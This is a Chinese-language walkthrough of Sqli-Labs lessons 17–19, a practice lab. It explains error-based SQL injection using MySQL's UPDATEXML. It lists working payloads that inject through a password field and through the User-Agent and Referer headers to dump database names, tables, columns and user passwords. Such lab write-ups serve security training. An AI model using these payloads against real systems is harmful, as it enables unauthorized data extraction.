Sqli-Labs less17-19

less-17

前置基础知识:

UPDATEXML (XML_document, XPath_string, new_value);

第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc

第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。

第三个参数:new_value,String格式,替换查找到的符合条件的数据

作用:改变文档中符合条件的节点的值 改变XML_document中符合XPATH_string的值

而我们的注入语句为: select updatexml(1,concat(0x7e,(SELECT username from security.users limit 0,1),0x7e),1);

其中的concat()函数是将其连成一个字符串,因此不会符合XPATH_string的格式,从而出现格式错误,爆出 ERROR 1105 (HY000): XPATH syntax error: '~Dumb~'

 

参考链接:

https://www.jb51.net/article/125599.htm

https://www.jb51.net/article/125607.htm

首先,在php网页代码中插入输出sql语句和update语句,这样便于观察:

 然后尝试输入发现,这个是一个更改password的功能,前提是username需要正确:

 代码中使用了get_magic_quotes_gpc name和password分开验证,而且在验证的时候对于name进行了过滤处理,将’进行了转义,所以只能在password处注入

我们可以根据上面的updataxml构造注入语句:

查当前库:uname=admin&passwd=a' and updatexml(1,concat(0x7e,(databese())),1)#&submit=Submit

查库:uname=admin&passwd=a' and updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata  limit 5,1),0x7e),1)#&submit=Submit

 查表:uname=admin&passwd=a' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security'  limit 3,1),0x7e),1)#&submit=Submit

 查列:uname=admin&passwd=a' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users'  limit 4,1),0x7e),1)#&submit=Submit

 查信息:uname=admin&passwd=a' and updatexml(1,concat(0x7e,(select password from (select password from security.users  limit 0,1)users ),0x7e),1)#&submit=Submit

 注意:这里之所以使用两层select,是因为会出现报错:

 意思是不能select出同一表中的某些值,这是再用一个select中间一下就可以了

参考:https://blog.csdn.net/z_youarethebest/article/details/53785487

less-18

在这一关中 ,完善了上一关对password的转义和过滤。

登陆成功:显示ip地址和浏览器版本信息

登陆失败:只显示ip地址

注意:在这一关中如果输入用户名和密码登陆不了的话可能是因为在17关重新设置改变了密码,可以在sqli-labs初始界面重置数据库:

 

 18关同样进行输出,最后测试发现可以在http头部user-agent的地方注入。

注意:我在这里使用的都是burpsuite,其实可以用火狐的插件:http header live 虽然用法有区别,但是原理都是一样的。

抓包之后右键发送到Repeater:

 然后在数据包的headers部分修改user-agent构造注入语句:

 查当前数据库:'or updatexml(1,concat(0x7e,(database())),1) or '1'='1(注意闭合)

 或者'or updatexml(1,concat(0x7e,(database())),1) ,",")#   闭合sql语句

之后构造的语句和上一关一样,不再赘述

less-19

 这一关和上关也是类似,登陆成功返回的信息变成了referer。

抓包:' or updatexml(1,concat(0x7e,(database())),1) and '1'=‘1或者‘ or updatexml(1,concat(0x7e,(database())),1), ‘’)# 

 构造的语句同样是相同的。

原文地址:https://www.cnblogs.com/hzk001/p/12229725.html